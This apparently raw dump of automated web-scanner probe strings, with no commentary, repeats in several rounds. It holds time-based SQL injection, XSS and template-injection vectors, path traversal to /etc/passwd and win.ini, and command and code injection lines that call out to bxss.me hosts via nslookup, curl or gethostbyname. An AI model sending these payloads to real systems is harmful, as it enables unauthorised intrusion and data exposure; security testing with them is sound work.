20

  20

  20

  20

  @@rruvR

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20LnFy0OpO')) OR 171=(SELECT 171 FROM PG_SLEEP(15))--

  20inpd69PY') OR 809=(SELECT 809 FROM PG_SLEEP(15))--

  202WIdmcqy' OR 407=(SELECT 407 FROM PG_SLEEP(15))--

  20-1)) OR 97=(SELECT 97 FROM PG_SLEEP(15))--

  20-1) OR 28=(SELECT 28 FROM PG_SLEEP(15))--

  20-1 OR 112=(SELECT 112 FROM PG_SLEEP(15))--

  20Mmvoq5wg')); waitfor delay '0:0:15' --

  20voQBy5d4'); waitfor delay '0:0:15' --

  20uWpO3yMB'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3+912-912-1=0+0+0+1 --

  -1" OR 2+912-912-1=0+0+0+1 --

  -1' OR 3*2>(0+5+654-654) or 'LBWW5KBi'='

  -1' OR 3*2<(0+5+654-654) or 'LBWW5KBi'='

  -1' OR 3+654-654-1=0+0+0+1 or 'LBWW5KBi'='

  -1' OR 2+654-654-1=0+0+0+1 or 'LBWW5KBi'='

  -1' OR 3*2>(0+5+152-152) --

  -1' OR 3*2<(0+5+152-152) --

  -1' OR 3+152-152-1=0+0+0+1 --

  -1' OR 2+152-152-1=0+0+0+1 --

  -1 OR 3*2>(0+5+294-294)

  -1 OR 3*2<(0+5+294-294)

  -1 OR 3+294-294-1=0+0+0+1

  -1 OR 2+294-294-1=0+0+0+1

  -1 OR 3*2>(0+5+244-244) --

  -1 OR 3*2<(0+5+244-244) --

  -1 OR 3+244-244-1=0+0+0+1 --

  -1 OR 2+244-244-1=0+0+0+1 --

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20

  20<iframe src="9590.com"></iframe>

  20

  20sb6HY

  20}body{zzz:Expre/**/SSion(NHkn(9950))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;NHkn(9019)&lt;/sCripT&gt;

  20\u003CScRiPt\NHkn(9296)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%4E%48%6B%6E%289069%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;NHkn(9341)

  20

  20

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%48%6B%6E%28%39%39%32%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209090

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx1631%C0%BEz1%C0%BCz2a%90bcxhjl1631

  bfg10820%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10820

  209912652

  '"()&amp;%

  20'"()&amp;%

  20

  20

  20

  20

  bxss.me

  c:/windows/win.ini

  20"||sleep(27*1000)*zcgumo||"

  20

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitvzcxqlpjlk4949f.bxss.me||curl${IFS}hitvzcxqlpjlk4949f.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitvzcxqlpjlk4949f.bxss.me||curl${IFS}hitvzcxqlpjlk4949f.bxss.me)&amp;`'

  20'||sleep(27*1000)*lpdfsk||'

  http://bxss.me/t/fit.txt%3F.jpg

  |(nslookup${IFS}-q${IFS}cname${IFS}hithkbpytsspge804b.bxss.me||curl${IFS}hithkbpytsspge804b.bxss.me)

 

  Http://bxss.me/t/fit.txt

  ${9999504+9999779}

  '"

  20"&amp;&amp;sleep(27*1000)*tzpjkb&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*bpknne&amp;&amp;'

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  '"()

  'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(109).concat(80)+(require'socket' Socket.gethostbyname('hitwp'+'eyrikzck73eda.bxss.me.')[3].to_s)

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  ;(nslookup -q=cname hiteeepztjaow72a36.bxss.me||curl hiteeepztjaow72a36.bxss.me)|(nslookup -q=cname hiteeepztjaow72a36.bxss.me||curl hiteeepztjaow72a36.bxss.me)&amp;(nslookup -q=cname hiteeepztjaow72a36.bxss.me||curl hiteeepztjaow72a36.bxss.me)

  '+'A'.concat(70-3).concat(22*4).concat(103).concat(67).concat(104).concat(87)+(require'socket' Socket.gethostbyname('hitcm'+'lmukqpkx5300e.bxss.me.')[3].to_s)+'

  20

  "+"A".concat(70-3).concat(22*4).concat(120).concat(66).concat(112).concat(75)+(require"socket" Socket.gethostbyname("hitth"+"szljvagva67a3.bxss.me.")[3].to_s)+"

  `(nslookup -q=cname hitozdsduqczp78527.bxss.me||curl hitozdsduqczp78527.bxss.me)`

  |(nslookup -q=cname hituafwahewyncdfcb.bxss.me||curl hituafwahewyncdfcb.bxss.me)

  '.print(md5(31337)).'

  &amp;(nslookup -q=cname hitfaeiawjgzf2a57b.bxss.me||curl hitfaeiawjgzf2a57b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitfaeiawjgzf2a57b.bxss.me||curl hitfaeiawjgzf2a57b.bxss.me)&amp;`'

  20

  ${@print(md5(31337))}\

  &amp;nslookup -q=cname hitrnowdmowgn17fa7.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitrnowdmowgn17fa7.bxss.me&amp;`'

  ${@print(md5(31337))}

  20

  ";print(md5(31337));$a="

  bxss.me/t/xss.html?%00

  $(nslookup -q=cname hitgiurnmnpel44a2f.bxss.me||curl hitgiurnmnpel44a2f.bxss.me)

  20

  (nslookup -q=cname hitkdzrbuxwileacf1.bxss.me||curl hitkdzrbuxwileacf1.bxss.me))

  expr 9000793059 - 984516

  HttP://bxss.me/t/xss.html?%00

  20|echo ytfbpz$()\ zedxhn\nz^xyu||a #' |echo ytfbpz$()\ zedxhn\nz^xyu||a #|" |echo ytfbpz$()\ zedxhn\nz^xyu||a #

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  |echo xursiy$()\ ljispg\nz^xyu||a #' |echo xursiy$()\ ljispg\nz^xyu||a #|" |echo xursiy$()\ ljispg\nz^xyu||a #

  20&amp;echo devgqv$()\ oomibh\nz^xyu||a #' &amp;echo devgqv$()\ oomibh\nz^xyu||a #|" &amp;echo devgqv$()\ oomibh\nz^xyu||a #

  &amp;echo lixnuc$()\ zemyai\nz^xyu||a #' &amp;echo lixnuc$()\ zemyai\nz^xyu||a #|" &amp;echo lixnuc$()\ zemyai\nz^xyu||a #

  gethostbyname(lc('hitup'.'dkvmpage95b9c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(70).chr(122).chr(80)

  ".gethostbyname(lc("hitgg"."zslskirmc58aa.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(81).chr(103).chr(74)."

  echo prgcbg$()\ qlxfyp\nz^xyu||a #' &amp;echo prgcbg$()\ qlxfyp\nz^xyu||a #|" &amp;echo prgcbg$()\ qlxfyp\nz^xyu||a #

  '.gethostbyname(lc('hitjs'.'hhthxaxlc5335.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(81).chr(116).chr(80).'

  20

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  20

  20

  20

  20

  20

  20

  20

  20

  ../20

  redirtest.acx

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  20

  +response.write(9377228*9092610)'

  &lt;% response.write(9377228*9092610) %&gt;

  "+response.write(9377228*9092610)+"

  '+response.write(9377228*9092610)+'

  response.write(9377228*9092610)

  20

  20

  20

  20

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  20

  20

  20

  20

  @@FYjdM

  %C0%A7%C0%A2%2527%2522\'\"

  '"

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  E6lvLgtp')) OR 878=(SELECT 878 FROM PG_SLEEP(15))--

  ff8F85eg') OR 220=(SELECT 220 FROM PG_SLEEP(15))--

  Y9pCUCwB' OR 367=(SELECT 367 FROM PG_SLEEP(15))--

  -1)) OR 138=(SELECT 138 FROM PG_SLEEP(15))--

  -1) OR 940=(SELECT 940 FROM PG_SLEEP(15))--

  -1 OR 798=(SELECT 798 FROM PG_SLEEP(15))--

  WQ8YKs2m')); waitfor delay '0:0:15' --

  xiyv1spL'); waitfor delay '0:0:15' --

  lJpyuReo'; waitfor delay '0:0:15' --

  -1 waitfor delay '0:0:15' --

  -1)); waitfor delay '0:0:15' --

  -1); waitfor delay '0:0:15' --

  -1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  *if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2=6 AND 202=202 --

  -1" OR 3*2=5 AND 202=202 --

  -1" OR 2+1-1+1=1 AND 202=202 --

  -1" OR 2+1-1-1=1 AND 202=202 --

 

  -1" OR 3*2&gt;(0+5+202-202) --

  -1" OR 3*2&lt;(0+5+202-202) --

  -1" OR 3+202-202-1=0+0+0+1 --

 

  -1" OR 2+202-202-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+463-463) or 'U20ygWck'='

 

  <iframe src="9397.com"></iframe>

  -1' OR 3*2&lt;(0+5+463-463) or 'U20ygWck'='

 

  -1' OR 3+463-463-1=0+0+0+1 or 'U20ygWck'='

  -1' OR 2+463-463-1=0+0+0+1 or 'U20ygWck'='

  gWrz0

  }body{zzz:Expre/**/SSion(xtfS(9838))}

  -1' OR 3*2&gt;(0+5+749-749) --

  -1' OR 3*2&lt;(0+5+749-749) --

  -1' OR 3+749-749-1=0+0+0+1 --

  <a></a>

  <a href="http://xss.bxss.me"></a>

  <input>

  -1' OR 2+749-749-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+852-852)

  %F6<img>

  -1 OR 3*2&lt;(0+5+852-852)

  &lt;ScRiPt&gt;xtfS(9238)&lt;/sCripT&gt;

  \u003CScRiPt\xtfS(9261)\u003C/sCripT\u003E

  -1 OR 3+852-852-1=0+0+0+1

  %0D%0A%3C%53%63%52%69%50%74%20%3E%78%74%66%53%289276%29%3C%2F%73%43%72%69%70%54%3E

  -1 OR 2+852-852-1=0+0+0+1

  <img src="&gt;">

  <img src="xyz">

  -1 OR 3*2&gt;(0+5+684-684) --

  <img src="//xss.bxss.me/t/dot.gif">

 

  -1 OR 3*2&lt;(0+5+684-684) --

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  -1 OR 3+684-684-1=0+0+0+1 --

  -1 OR 2+684-684-1=0+0+0+1 --

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;xtfS(9899)

 

 

  IpT&gt;

  9219

 

 

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  ${10000464+9999459}

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx9247%C0%BEz1%C0%BCz2a%90bcxhjl9247

  bfg3567＜s1﹥s2ʺs3ʹhjl3567

  9245977

 

  '"()&amp;%

  '"()&amp;%

 

  '"

  index.php/.

  index.php

  index.php

  'A'.concat(70-3).concat(22*4).concat(107).concat(69).concat(112).concat(82)+(require'socket' Socket.gethostbyname('hitvn'+'axmntczc3908a.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(103).concat(66).concat(106).concat(73)+(require'socket' Socket.gethostbyname('hitmi'+'mokvxekt255e8.bxss.me.')[3].to_s)+'

  "+"A".concat(70-3).concat(22*4).concat(114).concat(67).concat(121).concat(68)+(require"socket" Socket.gethostbyname("hitzz"+"tdnfhwfpfd884.bxss.me.")[3].to_s)+"

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  bxss.me

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  ";print(md5(31337));$a="

  "||sleep(27*1000)*cyhaqe||"

  ';print(md5(31337));$a='

  Http://bxss.me/t/fit.txt

  '||sleep(27*1000)*drcxbx||'

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  bxss.me/t/xss.html?%00

  "&amp;&amp;sleep(27*1000)*ifhlkr&amp;&amp;"

  HttP://bxss.me/t/xss.html?%00

  gethostbyname(lc('hitiu'.'dardjlfeab725.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(89).chr(100).chr(71)

  '&amp;&amp;sleep(27*1000)*imyjdc&amp;&amp;'

  '"()

  ".gethostbyname(lc("hitks"."oziqdohc29fcc.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(84).chr(106).chr(69)."

  '.gethostbyname(lc('hitcz'.'spnrdgigf10a8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(81).chr(110).chr(68).'

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hittcawqpmgqgcc39b.bxss.me||curl${IFS}hittcawqpmgqgcc39b.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hittcawqpmgqgcc39b.bxss.me||curl${IFS}hittcawqpmgqgcc39b.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitudmxuhognb8a34d.bxss.me||curl${IFS}hitudmxuhognb8a34d.bxss.me)

  ^(#$!@#$)(()))******

  ;(nslookup -q=cname hitxjeveekgjv51dde.bxss.me||curl hitxjeveekgjv51dde.bxss.me)|(nslookup -q=cname hitxjeveekgjv51dde.bxss.me||curl hitxjeveekgjv51dde.bxss.me)&amp;(nslookup -q=cname hitxjeveekgjv51dde.bxss.me||curl hitxjeveekgjv51dde.bxss.me)

  `(nslookup -q=cname hitwvuostfvlo36d12.bxss.me||curl hitwvuostfvlo36d12.bxss.me)`

  !(()&amp;&amp;!|*|*|

  )

  |(nslookup -q=cname hitlxplnudvnye8886.bxss.me||curl hitlxplnudvnye8886.bxss.me)

  &amp;(nslookup -q=cname hitxdtrkxgsqgfe447.bxss.me||curl hitxdtrkxgsqgfe447.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitxdtrkxgsqgfe447.bxss.me||curl hitxdtrkxgsqgfe447.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitommholmlda6a8e6.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitommholmlda6a8e6.bxss.me&amp;`'

  $(nslookup -q=cname hitykcnnnwlezd7195.bxss.me||curl hitykcnnnwlezd7195.bxss.me)

  (nslookup -q=cname hitdompchjgoqed720.bxss.me||curl hitdompchjgoqed720.bxss.me))

  expr 9000820795 - 947745

  |echo cdfpiw$()\ tmzeme\nz^xyu||a #' |echo cdfpiw$()\ tmzeme\nz^xyu||a #|" |echo cdfpiw$()\ tmzeme\nz^xyu||a #

  &amp;echo cpexpc$()\ dmadfn\nz^xyu||a #' &amp;echo cpexpc$()\ dmadfn\nz^xyu||a #|" &amp;echo cpexpc$()\ dmadfn\nz^xyu||a #

  echo wepapo$()\ bputru\nz^xyu||a #' &amp;echo wepapo$()\ bputru\nz^xyu||a #|" &amp;echo wepapo$()\ bputru\nz^xyu||a #

  ../

  redirtest.acx

  file:///etc/passwd

  +response.write(9595836*9983716)'

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  &lt;% response.write(9595836*9983716) %&gt;

  "+response.write(9595836*9983716)+"

  '+response.write(9595836*9983716)+'

  response.write(9595836*9983716)

  ctime sleep p0 (I30 tp1 Rp2 .

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  @@8MctX

  %C0%A7%C0%A2%2527%2522\'\"

  '"

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  bSKXRK4A')) OR 726=(SELECT 726 FROM PG_SLEEP(15))--

  DD9ruvlv') OR 948=(SELECT 948 FROM PG_SLEEP(15))--

  ND1Dhk4g' OR 265=(SELECT 265 FROM PG_SLEEP(15))--

  -1)) OR 622=(SELECT 622 FROM PG_SLEEP(15))--

  -1) OR 817=(SELECT 817 FROM PG_SLEEP(15))--

  -1 OR 138=(SELECT 138 FROM PG_SLEEP(15))--

  x8zM5xlP')); waitfor delay '0:0:15' --

  yJfOawzW'); waitfor delay '0:0:15' --

  aSjyX10Q'; waitfor delay '0:0:15' --

  -1 waitfor delay '0:0:15' --

  -1)); waitfor delay '0:0:15' --

  -1); waitfor delay '0:0:15' --

  -1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  *if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2&gt;(0+5+341-341) --

  -1" OR 3*2&lt;(0+5+341-341) --

  -1" OR 3+341-341-1=0+0+0+1 --

  -1" OR 2+341-341-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+878-878) or 'gl3PGa5n'='

  -1' OR 3*2&lt;(0+5+878-878) or 'gl3PGa5n'='

  -1' OR 3+878-878-1=0+0+0+1 or 'gl3PGa5n'='

  -1' OR 2+878-878-1=0+0+0+1 or 'gl3PGa5n'='

  -1' OR 3*2&gt;(0+5+197-197) --

  -1' OR 3*2&lt;(0+5+197-197) --

  -1' OR 3+197-197-1=0+0+0+1 --

  -1' OR 2+197-197-1=0+0+0+1 --

  -1 OR 3*2&gt;(0+5+157-157)

  -1 OR 3*2&lt;(0+5+157-157)

  -1 OR 3+157-157-1=0+0+0+1

  -1 OR 2+157-157-1=0+0+0+1

  -1 OR 3*2&gt;(0+5+657-657) --

  -1 OR 3*2&lt;(0+5+657-657) --

  -1 OR 3+657-657-1=0+0+0+1 --

  -1 OR 2+657-657-1=0+0+0+1 --

  q31I7GBW

 

 

 

  <iframe src="9743.com"></iframe>

 

  oahJ6

  }body{zzz:Expre/**/SSion(6Nur(9413))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  <input>

  %F6<img>

  &lt;ScRiPt&gt;6Nur(9438)&lt;/sCripT&gt;

  \u003CScRiPt\6Nur(9336)\u003C/sCripT\u003E

  %0D%0A%3C%53%63%52%69%50%74%20%3E%36%4E%75%72%289895%29%3C%2F%73%43%72%69%70%54%3E

  <img src="&gt;">

  <img src="xyz">

  <img src="//xss.bxss.me/t/dot.gif">

 

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;6Nur(9863)

 

 

  IpT&gt;

  9985

 

 

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

 

  ${10000355+9999026}

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx8534%C0%BEz1%C0%BCz2a%90bcxhjl8534

  index.php/.

  bfg6740＜s1﹥s2ʺs3ʹhjl6740

  index.php

  9330549

  '"()&amp;%

 

  index.php

  '"()&amp;%

 

  '"

  'A'.concat(70-3).concat(22*4).concat(98).concat(77).concat(120).concat(66)+(require'socket' Socket.gethostbyname('hitri'+'lljzoawcddabd.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(119).concat(83).concat(110).concat(68)+(require'socket' Socket.gethostbyname('hitky'+'jfoffecm6cf0d.bxss.me.')[3].to_s)+'

  "+"A".concat(70-3).concat(22*4).concat(118).concat(72).concat(118).concat(71)+(require"socket" Socket.gethostbyname("hitjd"+"faagrxyp51099.bxss.me.")[3].to_s)+"

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  bxss.me

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  gethostbyname(lc('hitsw'.'kjdjpqwr25e46.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(74).chr(118).chr(73)

  "||sleep(27*1000)*zaghby||"

  ".gethostbyname(lc("hitzp"."hrgnxhcwf536c.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(83).chr(121).chr(83)."

  '||sleep(27*1000)*pdpqvf||'

  '.gethostbyname(lc('hitnf'.'ylainqgfb60a7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(68).chr(112).chr(73).'

  "&amp;&amp;sleep(27*1000)*gyyaiy&amp;&amp;"

  '&amp;&amp;sleep(27*1000)*djlwif&amp;&amp;'

  '"()

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hityjifqglbhxde3c5.bxss.me||curl${IFS}hityjifqglbhxde3c5.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hityjifqglbhxde3c5.bxss.me||curl${IFS}hityjifqglbhxde3c5.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hiteujzhurhmxb91ac.bxss.me||curl${IFS}hiteujzhurhmxb91ac.bxss.me)

  ;(nslookup -q=cname hityqjpgmfhva79a7a.bxss.me||curl hityqjpgmfhva79a7a.bxss.me)|(nslookup -q=cname hityqjpgmfhva79a7a.bxss.me||curl hityqjpgmfhva79a7a.bxss.me)&amp;(nslookup -q=cname hityqjpgmfhva79a7a.bxss.me||curl hityqjpgmfhva79a7a.bxss.me)

  `(nslookup -q=cname hithrtczahqzje9c75.bxss.me||curl hithrtczahqzje9c75.bxss.me)`

  ./

  |(nslookup -q=cname hitzkgpjuivzaf856c.bxss.me||curl hitzkgpjuivzaf856c.bxss.me)

  ../

  &amp;(nslookup -q=cname hitcxjtrovjxe1327f.bxss.me||curl hitcxjtrovjxe1327f.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitcxjtrovjxe1327f.bxss.me||curl hitcxjtrovjxe1327f.bxss.me)&amp;`'

  &amp;nslookup -q=cname hittpitzdlucq7a7bc.bxss.me&amp;'\"`0&amp;nslookup -q=cname hittpitzdlucq7a7bc.bxss.me&amp;`'

  $(nslookup -q=cname hiterbociwevg96398.bxss.me||curl hiterbociwevg96398.bxss.me)

  (nslookup -q=cname hitsnsuufiozxb5a01.bxss.me||curl hitsnsuufiozxb5a01.bxss.me))

  redirtest.acx

  file:///etc/passwd

  expr 9000448452 - 975490

  |echo mdgrmk$()\ tubytw\nz^xyu||a #' |echo mdgrmk$()\ tubytw\nz^xyu||a #|" |echo mdgrmk$()\ tubytw\nz^xyu||a #

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  &amp;echo lsllpw$()\ sslxmr\nz^xyu||a #' &amp;echo lsllpw$()\ sslxmr\nz^xyu||a #|" &amp;echo lsllpw$()\ sslxmr\nz^xyu||a #

  echo mgjhtc$()\ lezijv\nz^xyu||a #' &amp;echo mgjhtc$()\ lezijv\nz^xyu||a #|" &amp;echo mgjhtc$()\ lezijv\nz^xyu||a #

  +response.write(9128805*9014666)'

  &lt;% response.write(9128805*9014666) %&gt;

  "+response.write(9128805*9014666)+"

  '+response.write(9128805*9014666)+'

  response.write(9128805*9014666)

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  ctime sleep p0 (I30 tp1 Rp2 .

  20

  20

  555

  20

  20

  20

  @@Jh3vr

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  202kEBLD8V')) OR 335=(SELECT 335 FROM PG_SLEEP(15))--

  20cO6X0f0b') OR 512=(SELECT 512 FROM PG_SLEEP(15))--

  20ub0xJBhI' OR 594=(SELECT 594 FROM PG_SLEEP(15))--

  20-1)) OR 422=(SELECT 422 FROM PG_SLEEP(15))--

  20-1) OR 490=(SELECT 490 FROM PG_SLEEP(15))--

  20-1 OR 840=(SELECT 840 FROM PG_SLEEP(15))--

  20rtMUiqwO')); waitfor delay '0:0:15' --

  20DsVfy5XY'); waitfor delay '0:0:15' --